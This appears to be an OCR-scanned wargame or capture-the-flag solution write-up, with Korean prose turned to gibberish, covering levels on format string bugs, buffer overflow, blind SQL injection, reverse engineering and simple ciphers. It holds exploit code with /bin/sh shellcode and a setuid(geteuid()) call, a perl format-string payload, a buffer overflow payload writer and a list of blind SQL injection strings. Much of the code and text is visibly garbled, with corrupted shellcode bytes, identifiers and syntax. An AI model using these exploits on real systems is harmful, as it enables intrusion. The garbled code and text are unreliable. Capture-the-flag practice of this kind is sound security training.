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//Coded by Dual5651 (dual@null2root.org)




?>

$ret = "";

$socket = fsockopen("210.207.246.131", 8888, $errmo, $errstr, 100);
fgets( $socket, 50);

fgets( $socket, 50);

$ret .= fgets( $socket, 50);
$decode = base64_decode($ret);

echo $decode;

if($decode == "305e8800b4272bb6a757c7e33c028023")
fputs($socket, "eazy");

else if($decode == "44beal375d673dacfa7038a2a6896ae6")
fputs($socket,"hahah");

else if($decode == "1d8176708feb2bb6edd67d7f08c50493")
fputs($socket,"ashine");

else if($decode == "1d8176708feb2bb6e4d67d7f08c50493")
fputs($socket,"ashine");

else if($decode == "5f29e63a3f26798930e5bf218445164f")
fputs($socket,"osiris");

else if($decode == "a8241dc330c0353ccd8db73244c8bd30")
fputs($socket,"oldzombie™);

else if($decode == "c5dbbb22d4802blbdc7a4f35875a280b")
fputs($socket,"chpie™);

else if($decode == "4e3590b079101462e2al11b163869c62e")
fputs($socket,"reddog™);

else if($decode == "8f3d0f3fd4a20alc0f321bb17a6f9042")
fputs($socket,"slayer1000");

else if($decode == "12ea7a85a8ad1216074590ce65542774")
fputs($socket,"beist");

$ret ="";
while(!feof($socket))
$ret .= fgets( $socket, 50 );

echo $ret;




LEVELS : FSB (FORMAT STRING BUG)
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//lower : 1bfff-ff70=C08F(49295)
//higher : ff70-328(808)=FC48(64584)

int main(int argc,char **argv)
{
int i=0;
char buffer[1024]="";

unsigned char shellcodel] =

"W 90X I0WX 090X IO WX I 0Wx 90X 90X 90 WX 90X 90X I 0WX I 0Wx 90X I 0% X 90"
//Nops
"W 90X I0WX I0WX 90X IO WX I0Wx 90X 90X 90 WX 90X 90X I 0WX I 0Wx 90X I 0% X 90"
"W 90X I0WX 0WX 90X IO WX I0Wx 90X 90X 0 WX 90X 90X I 0WX I 0Wx 90X I 0% X 90"
"Hx 90X I0WX I0WX 90X I0WX I0WX 90X 90X I0WX Q0 X 90X I0WX IO WX 90X 90X 90"
"#x90Wx90Wx90"

"Hx 3 Lt cOWXbOWx 3 1WxcdWx 80 8 S C3Wx 8 Hx c 1 Wx 31 cOWx b O x4 6WxcdWx80"
//setuid(geteuid())
"HixebWx 1fx5eWx89Wx 76 x 08X 31 WxcOWx 8 8Wx46Wx 07 x8 I x46WxOctxb0Wx0b"
"WWx 8 xf3Wx 8 d x4 ettx08Wx 8 dWx 56WxOciixcdx 80 x 3 1 WxdbWx89#xd8Wx40¥txcd"
"WWx 80t e8xd cittx i ffixff/bin/sh";

sprintf(buffer,"%s%s",argv[1],shellcode);

char *argvv[]={buffer,0};

execve("/beistcon/filename/filename”,argw,0);



}
Jf “perl -e
'print"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaattxbcix95Wx04Wx08bbbbWxbetx95Wx04Wx08ccccccbb
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";print"%8x"x90;print"%64584x%x%49295x%x""
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Char str[] = "CXHkPmIzEGKzEWYzSWNMIHFhFMFMYWZzYWRmMYQ==";
Int i;

if (a3 != strfi] )
{
i=0;
goto WRONG;
}
Vb =i+ 2
i +=2;
if (v5 >= 25)
{
sub_401220();




goto LABEL_S;
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int main(int argc, char* argv[])
{
//Coded by Dual5651 (dual@null2root.org)

HANDLE hFile hFile2;

DWORD dsize;

unsigned char *buffer;

unsigned char *reverse;

ULONG ovr;

long p;

hFile =




CreateFile("C:¥#mirror.avi',GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NO
RMAL,0);

printf("hFile : %d#n",hFile);

dsize = GetFileSize(hFile,0);

dsize -= 0x57;

printf("file size : %dWn",dsize);

SetFilePointer(hFile,0x57,0,FILE_BEGIN);

buffer = (unsigned char *)malloc(dsize + 1);
ReadFile(hFile,buffer,dsize,&ovr,0);

reverse = (unsigned char *)malloc(dsize + 1);

for(long i = 0; i <= dsize; i++)

{
p = dsize - j;
reverseli] = buffer[p];
}
hFile2 =

CreateFile("C:#outteravi',GENERIC_WRITE,FILE_SHARE_WRITE,0,OPEN_ALWAYS,FILE_ATTRIBUTE_N
ORMAL,0);
printf("hfile2 : %dWn",hFile2);

SetFilePointer(hFile2,0x57,0,FILE_BEGIN);

WriteFile(hFile2,reverse,dsize,&ovr,0);

free(buffer);
free(reverse);
CloseHandle(hFile);
CloseHandle(hFile2);
getch();

return O;
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for(inti = 0; i < strlen((char *)str) ; i++)
{
chr = strli];
chr2 = str[(unsigned)(&str[i] + 2 - (ULONG)str) % 13];

tmp = ((chr A chr2) + 104);

tmp = tmp % 65;
x = chr + tmp;

encryptli] = chr » x;

for(int k = 0; k < 15; k++)
{
printf("%X ",encrypt[k]);

}
printf("#n");
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//Coded by Dual5651 (dual@null2root.org)

for(charm = 'A; m < 'z, m++)

{
for(charn = 'A; n < 'Z'; n++)

{
for(intj = 0; j < 11; j++)




chr = str[j];
x = enc[j] ~ chr;
tmp = x - chr;

tmp = tmp + 0x41;

iftmp < 0x68)
tmp += 0x41;

tmp = tmp - 0x68;
chr2 = tmp A chr;
str[(unsigned)(&str[j] + 2 - (ULONG)str) % 13] = chr2;
}
for(int k = 0; k < 15; k++)
{
printf("%c",str[k]);
}

printf("#n");
str[1] = n;

}

str[0] = m;
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LEVEL12 : REVERSE CONNECT
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LEVEL13 : BLIND SQL INJECTION

T M TE AAEO| 7HEH, basebdZ 0l2] H QIAE El ZXEE FIf & = USLICL
StLt= A& ClRE SHH, guest7t Lt 10, FHR Zd4a1429b036a53a86bb50ce22a88458ac I,
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=0 E L], 4a1429b036a53a86bb50ce22a88458ac = 0IDzOmBi22t= AE 2 2748t = QUQ
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HEHQ| sql injection FFFO| EXSt= HO|X|E B = UAUSLICL

Cheat Z+e Z2tolc QRN RS ALY 2R ZsIASLICH

E|O|2 & :1 and (select 1 from board limit 0,1)=1

=22 & :1 and (select substring(concat(l,pass),1,1) from board limit 0,1)=1

>9m

1 and (select substring(concat(l,subject),1,1) from board limit 0,1)=1

1 and (select substring(concat(1,n0),1,1) from board limit 0,1)=1
A QT S RH oLy -
1 and 1=(select ascii(substring((select pass from board where no = 1 limit 1),1,1)) > 94)
1 and 1=(select ascii(substring((select pass from board where no = 1 limit 1),2,1)) > 94)

1 and 1=(select ascii(substring((select pass from board where no = 1 limit 1),3,1)) > 94)

95 95 55 53 57 56 53 50
759 85 2
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HootEl 2XAEOM A U2 ARET SO07es AS EH,

BZKEGI, +EISB-VEFWNSML+OW-GLRX=FME.
123456,+7812-34567812+34-5678=123.

VEFWNSML O] 222 PASSWORDZ 7pEsiA CIS Tt ZS B2 = HQFAL|CH

//Coded by Dual5651 (dual@null2root.org)
char enc[9] = "VEFWNSML";

char dec[9] = "PASSWORD";

char key[9] ="";

char encv[9] ="";

char decv[9] ="";

int main(int argc, char* argv[])

{

char sub;

for(inti =0;i < 8; i++)

{
encv[i] = encli] - 'A};
decv[i] = dec[i] - 'A";

sub = encv][i] - decv[i];
if(sub < 0)

sub += 26;
key[i] = sub + 'A’;

printf("PASSWORD IS : ");
printf("%c" key[6]);




printf("%c" key[71]);
printf("%c" key[0]);
printf("%c" key[1]);
printf("%c" key[2]);
printf("%c" key[3]);
printf("%c" key[4]);
printf("%c" key[5]);
printf("#n");
getch();

return O;
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LEVEL16 : BOF (BUFFER OVER FLOW)
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#include <stdio.h>

Int main(int argc,char **argv)
{
int i;
char shellcode[2048]={0,};
char dummy[2048]={0,};

for(i=0;i<1028;i++)

{
dummyl[i]="a"+i%20;
dummy[i+1]="#0";

}

sprintf(shellcode,"%s%s%s","GET;10000%n",dummy, "¥txe8Wx 7 xfix b fWx FFAAAAAAAAAAAAWX00");
FILE *fp;

fp = fopen("///tmp/attack”, "w");

if(fo == NULL)
return;

fputs(shellcode, fp);

fclose(fp);
}
LEVEL18 : CRYPTOGRAPHY
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#include "stdafx.h"
#include <string.h>
#include <conio.h>

#include <windows.h>

int __cdecl swap_bit(int al)

{
return (unsigned __int8)((unsigned __int8)((al & 0x38) >> 3) | (unsigned __int8)(8 * (al &

7)) | (unsigned __int8)(al & 0xCO);

}

int main(int argc, char* argv[])
{
int tmp;
char *str = "RBTOENFc{KADbLWFTF{A";
char decrypted[100] = "";
int key = 663 key2;

key2 = key & 0x3F;

for(inti = 0; i <= strlen(str); i++)
{
tmp = stri] + 1;
tmp = key2 A LOBYTE(tmp);
decrypted[i] = swap_bit(tmp);
}
printf("%s#n",decrypted);
getch();

return O;
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